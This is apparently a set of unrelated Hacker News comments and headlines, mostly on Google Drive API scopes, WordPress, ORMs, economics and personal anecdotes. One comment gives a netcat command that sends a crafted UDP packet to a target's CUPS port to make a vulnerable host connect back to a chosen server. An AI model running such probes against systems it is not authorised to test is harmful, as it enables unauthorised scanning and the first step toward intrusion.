skysight-inc/HackerNews huggingface dataset:
>You cannot build a model that is both good for gaming and meteorology.

This was the prevailing wisdom in AI before generalized transformers as well. We're rapidly moving toward black box hyperintelligent AGI.
> he CREATED Wordpress

No he didn't. Matt Mullenweg and Mike Little forked Michel Valdrighi's b2 cafeblog in 2003 to add new features and an admin panel. Wordpress is GPL because b2 was GPL. Matt built most of the early XHTML while Mike integrated patches and worked on the backend. Mike and Ryan Boren wrote large parts of the code early on. Christine Tremoulet came up with the name. Without them b2evolution or one of the other forks would've most likely raced ahead.
Some comments are asking, “Why not just ditch Google Drive support?” Well, how would a cloud-enabled writing app do on Android without Google Drive support? About as well as the same app on iOS without iCloud support — roadkill, I expect.

I’ve used iA Writer on many platforms for years and I love it. It’s a simple Markdown editor that stores stuff in your cloud of choice. There are a million of these apps, but iA Writer has been high quality and regularly updated for a long time.
Let me ask a similar question as another user asked: what attribute do animals lack that, if a human also lacked, would justify eating a human?
What about nuclear powered submarines and aircraft carriers built in Newport News, VA ?

https://en.wikipedia.org/wiki/Newport_News_Shipbuilding
> Is this a good tradeoff between protecting IP to incentivize creation through monetization and the various societal goods of making it widely available? I don't know

The actual current status-quo is. Despite the most of the worthy books being available on pirate websites, people still buy books. Publishers still are not bankrupt. Even independent individuals post "I wrote a book" here every now and then, link to DRM-free purchase pages and seem happy.

I personally spent many hundreds dollars buying DRM-free ebooks on GumRoad and HumbleBundle (despite most of them being on LibGen!). I also bought numerous hardcover paper books after reading their pirated ebook versions.
Under this law would production of an explicit deepfake be allowed if the party having their face pasted on consents? Would the actor in the source material also need to consent? Do these laws also apply to manual Photoshop jobs (playboy cutouts and Elmer's glue) or does ML need to be involved?

Most of the time it's copyrighted pornography that's used as the base. Interestingly I've heard almost nothing about that part of the equation: the IP infringement angle. I doubt most of the content on Mr. Deepfakes would fall under the DMCA free use exceptions.
Bring-your-own-sync!

Apps can be local-first, reading and writing to files on the device. Then each user can choose their own syncing service like Syncthing or Resilio Sync, which runs in the background and automatically syncs those files to your other devices.
>However, then shipyards that haven't made an icebreaker for twenty years would become shipyards that haven't made one for forty years.

Is there really much difference?
To be fair both of them probably didn't imagine Stripe would be the one today. You can apply the same logic for any successful companies, like the guy who gave up 10% of Apple for some changes.
Historical data point: the Xerox D-series machines all implemented the Mesa opcodes, which could be implemented via different microcoding on different machines. That was thought to be an advantage at the time!

In fact, in evaluating the new microprocessors that were becoming available in the late 70's, "difficulty of implementing the Mesa virtual machine" was a big consideration. "Just reimplement the code generation part of the compiler" wasn't considered attractive.

Another supposed advantage of the Mesa virtual machine was: we can look at the code people are actually writing, and then reimplement the op codes to make the most common ones shorter and more efficient.
We're arguing about credit card versus debit card. If you decide debit cards are better and, as a result, you don't have a credit card, you don't have that $10,000 credit limit.

Also, available credit limits are much less valuable to me than actual money, so I will preferentially risk part of my credit limit before risking actual money. If the bank reduced my credit limit by $1000, I wouldn't mind nearly as much as if they reduced my checking account balance by $1000. I think most financially responsible people would feel the same way. Likewise if the bank increased my credit limit by $1000, I wouldn't be nearly as excited as I would be if someone gave me $1000 in actual money.

If it's just a question of what you're going to use for one particular transaction, sure, you can use your debit card sometimes. I do.

And part of the issue is that credit lines and actual money aren't perfectly fungible. For instance, I can't use my credit card to pay my credit card bill. I also can't use it to pay my mortgage.
This is exactly right.

I just finished the process to get drive.readonly for my app. It was a huge pain in the ass, and Google was not very helpful. Google recommends you pay $720 for a CASA lab assessment, which consists of some random dude in an apartment in SF running an open source script against a .zip of your codebase, then that guy emails Google saying you "passed".

However, the goal is noble, to prevent malware and scam apps from accessing people's drives. It doesn't sound like the app from the article needs these more restricted scopes.
'World-first' indoor vertical farm to produce 4M pounds of strawberries per year
According to https://en.wikipedia.org/wiki/VHS#Tape_lengths each tape can have up to 930 minutes of data. 2000 tapes is 1860000 minutes, or around 3.5 years of continuous playtime, and I don't know of any VCRs that can play faster than realtime.

Of course there's also the question of how much digital storage that would take, which is probably in the hundreds of terabytes range.
Why LLMs will Never be able to perform Accessibility Code Review
I like free markets. I just don't like that China is eating the West's lunch. They just seem better at playing the "free markets" game than anyone on this side of the globe and I think the USA is doubling down on the ideas that defined it in the 1970's, rather than saying— "it's a new world, let's see what we can learn from it to up our game".

China has definitely learned plenty from the world, and fundamentally changed the way it does things from 1970 to today. Deng Xiaoping in the 80s marks a stark ideological change that transformed China to the core. Who is the last US president one can say that of?
> it's better for the cured, and not any worse for all others.

Won't anyone think of the business owners who lost their steady stream of income from treatable but incurable illnesses?
Those stored things are your digital roots. Without them, you are nobody.
Yeah, but it shows Kia at least works with security researchers instead of suing them into everythings-fine silence.
New California Bill Paves the Way for More Tiny Homes by Changing Zoning Rules
Bill Number: SB-1123

Author: Senator Caballero

Status: Passed by Governor

A recently passed bill is shaking up the rules for accessory dwelling units (ADUs) across California, ensuring that these smaller homes won't count against local housing quotas. Now, developers can create subdivisions on both vacant single-family lots and multifamily zones, streamlining the process to boost housing availability. With new stipulations around lot size and density, this legislation aims to supercharge California’s housing market while keeping local agencies accountable. Mark your calendars—the changes kick in on July 1, 2025!
it's a text editor. Users expect to edit files in any random directory they'll make on drive, not in the containment scope that doesn't work with users' writing habits.
I went to a talk once from a man who collected antique magic props. He said when he moved he needed a 1 ton container for his stuff. At the end of the talk, someone asked if his wife objected to his collection. He said "She doesn't complain about my magic stuff, and I don't complain about her Teddy Bears."
Standard's AI imitation of Brian Sewell proves art critics cannot be replaced
I was comparing expert systems here, not emergent ones
nmap can't really tell the difference between an open or a firewalled UDP port. For this specific vuln you can send it a packet like:

echo "0 3 http://myserver:PORT/printers/foo" | nc -u target 631

And if the target is running CUPS on that port it will reach out to `myserver:PORT` and POST some data. The downside is you need to have a server running that can accept inbound requests to see if it connects back.
> For example the American Bar Association has consistently created simple model statute frameworks that eventually are adopted.

"Simple" is not an accurate description of typical model legislation.

> Law is complex because society is complex.

Law is complex because it's an evolved system influenced by politics and corruption. The extent of its complexity is not intrinsic and much of it is specifically a defense mechanism against public understanding, because the public wouldn't support many things in the status quo if they understood the workings of them, and the people who do understand the workings but prefer the status quo use this to their advantage.
Yes - I don’t use WP and have no experience with either of those companies but everything I’ve heard about this has been people looking into alternatives because this raises the question of whether it’s motivated by a desire to boost revenue and merely the first step in the process.
That's because everyone is using the google store. If a critical mass of software moved to an <alternative store>, maybe even become cheaper (because that store only takes 20% instead of 30%), people would switch.

It's like chat applications... if most of your friends are using MSN messenger, you'll be using it too... if most of them also use icq, and it's cheaper than MSN, and it also has two more friends that don't use MSN, you'll switch to icq.
It is on VR, has been for years, and yes, it’s pretty much a killer app (imho, the only killer app.)
Thanks for reading my blog! I agree, it is basic.
2024? I haven't even finished the printed concorde manual from FS2000.
That doesn’t say any of the evidence matched someone else. Just that hair and prints were collected. We know the prints were damaged. And hair analysis is notoriously unreliable [1].

[1] https://ncpro.sog.unc.edu/manual/622-1
Doesn't that mean that the app wouldn't be able to edit a document created elsewhere.

Including documents created by their own web or desktop client.

And it's odd that Google thinks that writing to files is significantly worse than reading. What benefit does a hacker have to update your private photos or bank details versus reading them.
I can imagine what years of that diet would do to a person because, like you, I come from a small town with similar food options. The poor diet made my father morbidly obese and diabetic; he died at 60. My mother is also morbidly obese. I am addicted to sugar and can barely keep myself just out of the overweight category with intense effort, including dietary coaching and a personal trainer.

The entire food system is fucked, and it takes Herculean strength to overcome it.
Funny Google requires a phone and email for Play Store users to contact, yet most of the major apps contact email addresses are "we dont read this; No Reply. But here is our crappy forum"
Curious if it possible to get it working under GCP or Azure
We did when I was a kid. Nobody locked their doors in my town. In fact multiple people just had blanks over the holes meant for deadbolts.

Then the local powerplant shut down, and the manufacturing associated with it left as well. The largest employer in the area besides those two moved operations to China. Then methamphetamine became popular and then heroin, too.

Now you can't leave anything unlocked or outside.
Sounds like Google has turned into Nokia. History repeats itself.
I like the concept but the execution is meh; there needs to be a graph to see trends over time.

I made a ‘financial sentiment index’ based on news stories from Yahoo Finance. At the time I watched a lot of CNBC if you do that it is easy to believe that some days have a lot of positive stories and the stock market goes up, some days it seems the other way around.

I found no correlation between sentiment and the S&P 500, VIX, Gold, bond funds and a few other things, neither in a predictive or retrodictive sense.

I later found this book

https://www.amazon.com/Trading-Sentiment-Power-Markets-Finan...

By some folks who did manage to make money trading based on sentiment analysis.
LOL, it's like a bank with stained glass windows to make passers-by think it's a church, isn't it.
these are the moments that make our careers worthwhile, in my opinion.
Reminds me of using Tkinter with Python, while learning Python. There are other GUIs available, but finding examples of working code with a newer GUI is going to be more troublesome (but not impossible). I think it's just that the documentation has been centered around Tk(inter) for so long, most people just choose it as a default. I know Python has gotten better about GUI support (probably from the popularity in machine learning/AI usage), but with Tcl being less popular, you need to do some due diligence to find up to date documentation on modern GUI usage.
Honestly, I hated Prisma for the longest time. Like, hated it. I tried to rip it out of projects multiple times. Why would you build a node library in Rust? (as one of many problems) But, I had a mental shift recently that helped me appreciate it more: I use Prisma only for features that fit neatly into an simple ORM (i.e. building a web page based on a bunch of joins). Anything else, I use raw SQL.

They released TypedSql (https://www.prisma.io/docs/orm/prisma-client/using-raw-sql/t...) which is heavily inspired by PgTyped. That lets me write raw Postgres SQL that's converted into TypeScript. The other things I do:

- If I want derived data, write views that encapsulate the transform. Prisma supports reading from views
- If I need something more complex, use DuckDB + python for analysis and write to the appropriate table.
- If I need to cache complex queries, just use a materialized view and read it as a prisma object

It's not perfect, but that let's me use prisma for what it's good at (Managing an ORM and deeply nested queries), then fall back into raw SQL for everything else.

Going straight to SQL has been a breath of fresh air, but, let's be honest, dealing with deeply nested joins really sucks when all you want to do is build a page that shows a company, all of it's people, and all of those people's relationships. ORMs are pretty handy for that last case, and I use SQL for everything else
It's a new world by inches every moment and one day we all wake up to find that the world has passed us by. To a greater or lesser degree we're all relics of an age that no longer exists and probably didn't exist in the first place, at least how we remember it.

It's bittersweet but probably a good thing.
A system that centralises power over everything into the hands of a single government will ALWAYS end in corruption, surely that’s obvious?

Under capitalism, individuals are allowed to own enterprises. If they’re corrupted, they’ll fail and other enterprises will supersede them. Under socialism and communism, state monopolies deny ownership and accountability to the public. If they’re corrupted, there is nowhere else to turn.

Join the queue for your turnip rations and be happy you’re equal to all the other miserable people stuck under the regime (except the government officials of course - they’re never equal to the plebs)

How anyone can support far-left ideology after the lessons of the 20th century is beyond me.
6% is just the latest one - this is a real-deal engineering task in the chip design process, that an AI can do better than a human expert, and the gap is growing with time. I'm sure there's a limit, but we don't know what it is yet, especially as they hand over more of the chip design process to AI.
I'm in my house. Hopefully nobody is recording me there. My smartwatch tracks those things but in theory it should not be sharing that with the manufacturer.
> 3.9k USD annually is a lot for a hobby. I'm not going to argue whether it's "just a bit much" or "ridiculous", but I think it's strange to imply that it's somehow not a lot.

It adds up fast.

Last year a single 2 week roadtrip on my motorcycle easily racked up around $5000 in total cost between needing new touring gear, new set of tyres, motels, etc. I have worn the touring gear once or twice since then but haven’t had a chance for any more big trips. The tyres I keep using of course.

This year a single maintenance visit came out to $2k. Just parking for my bike costs $1200/year.

Until recently when I started commuting again, my bike was purely a hobby. You could argue it’s still a hobby because I could totally BART/CalTrain to work if I hated myself enough. (it’s 60% faster by bike)

I think a lot of people on HN either aren’t honest with themselves how much hobbies cost, live in low COL areas, or both.
> In some cases, buying cheap is provenly more expensive

There’s an inherent bias in being willing to throw away a cheap pair of shoes that are a bit worn and stuffed. But not being willing to toss a $500 pair of Bruno Maglis with the same level of wear. That leads to the latter being worn further and driving it down till it eventually passes the cheap stuff.
Utterly pointless to argue this since we do not have access to the totality evidence and testimony that the Court and the jury had access to. Could it be that they were wrong? Unlikely but yes. Is it likely that we here are “less wrong”. Not a chance
In 99% of cases, yes - this is a pain in the backside. Long ago I adopted something from the plan9 way of doing things (when I was heavily using acme).

Just symlink /h to /home. So ~user becomes /h/user, in places where ~ is not expanded for you.
What's the purpose of this question? Their answer is almost certainly "no", and that doesn't contradict anything they've said in this conversation.
> Create new Drive files, or modify existing files, that you open with an app or that the user shares with an app while using the Google Picker API or the app’s file picker.

Yeah, this should do the trick. From the cursory look seems like there’s no Google Picker UI for Android though?

Google actions are somewhat ridiculous here (they should audit iA’s app, not their cloud), but the reason is pretty solid IMO. If you choose an overly broad scope, be prepared for scrutiny.
In Safari, I've had good success setting breakpoints in client side JS. The call stack isn't perfect, but usually it's at least enough to get me to the next step. The other thing I'd mention is request/response overrides in those cases you're debugging in production!
They already have 30 GHz hardware (for 5G mmwave)!

I don’t think either spectrum will be feasible for direct to cell satellite communication in the short term, though.
I'm sorry you never got the chance to live in a high-trust area.

A lot harder to find one now.
Curious why the US does not think this is a big problem. I mean, look at the US 80 years ago. The US easily out produced the Axis. We could produce faster and cheaper. There's really no excuse that the cost of making canon shells is 10x higher than Russia. Isn't being able to manufacturing cheaply the signature of a highly developed society? Besides, expertise is not just volumes of blueprints, right? We can only keep our expertise by actively doing. If the next war breaks out, how would the US win? By sending armies of lawyers and coders?
yeah I think android's policy is pretty reasonable here. if you're gonna have read/write access to everything in my google drive, you should be scrutinized pretty heavily.
I never understand why addicted users of social media feel the need to upload so many pictures and videos. Even if you were only doing one per day, how often do you think you'd look back at that one? Is there anything of significance to your stupid TikTok besides a fleeting chance at fleeting virality? When storage fills limitless they feel compelled to fill it with meaningless BS. In an era before smartphones you had to be judicious with what you recorded. We could use that mindset a lot more. And free up a lot of storage space.
"my VCR has remained on standby mode, the tapes in their boxes, gathering dust."

At some point you just have to admit that they are useless and throw them away. Whatever it is, if it's been in the garage or basement for years and you don't use it and haven't dealt with it, get rid of it. Just knowing the stuff is there is a nagging mental irritant, and it won't go away until you get rid of the stuff.

Nobody wants old VHS tapes. Try to put them on eBay, it will just be another huge project you'll never finish and you'll maybe cover the shipping costs.

Throw them away.
This article largely came out of frustration with my peers investing lots of energy in developing LLM accessibility review. I spent a year doing it myself. Now I'm done. (Props to those we reference in the article.) My focus is now on quicker scalability for rules-based accessibility tests.
Link should probably be replaced by https://noyb.eu/en/firefox-tracks-you-privacy-preserving-fea..., which is NOYB's post on it that everyone referred to.
See page 3 onwards here;

https://docs.fcc.gov/public/attachments/FCC-22-63A1.pdf

It's been in the works since 2007 to allow direct space-earth communication in that band, with the big push to allow much wider service coming in 2020.
Caribbean ESIM (20 Countries)
The fact this worked on Type 1, which is an autoimmune disorder, is very interesting/surprising as a layman.
FDA approves schizophrenia drug, the first new type of treatment in decades
Strong disagree.

Part of my disagreement comes from the fact that the process is inconsistent and time-consuming from Google's end. If you read more of the article, you can get a glimpse of how poorly it's run. And iA have been lucky here. Some apps submit to Google for OAuth approval and get stuck waiting for approval for years.

But another part comes from the fact that drive.file access is not enough for some apps, and iA Writer falls into that category. Some apps really do need full access. (But Google told them they only need read-only access, lol.)

Additionally, having been though the CASA process, it has been pure security theater. No offense to the people working on it, because I'm sure they have good intentions, but letting developers run a python script on their app to self-report vulnerabilities really doesn't solve anything. I suspect this is why Google took away the free option and are requiring a review by a security lab.

The problems with this is that Google only guarantees a minimum cost, not a maximum cost, and that not every company is in a position to let the lab Google has partnered with see their code. And finally, I'm skeptical at how much a security lab is going to find with a quick check on a small payment.

And frankly, Google Drive access is not worth the cost. Even if it's $500/year in fees, + time working with the lab (which, as iA pointed out, can be a huge opportunity cost), in most cases, the kinds of apps that need full access won't suffer $500/year in damages by removing Google Drive support.

And Google Drive doesn't exist in a vacuum. There are other cloud storage solutions out there. Amazon doesn't make developers jump through their ridiculous hoops to access the S3 API.